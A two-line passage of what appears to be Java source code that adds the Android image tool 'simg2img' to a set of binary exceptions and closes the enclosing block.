         BINARY_EXCEPTIONS.add("simg2img");
     }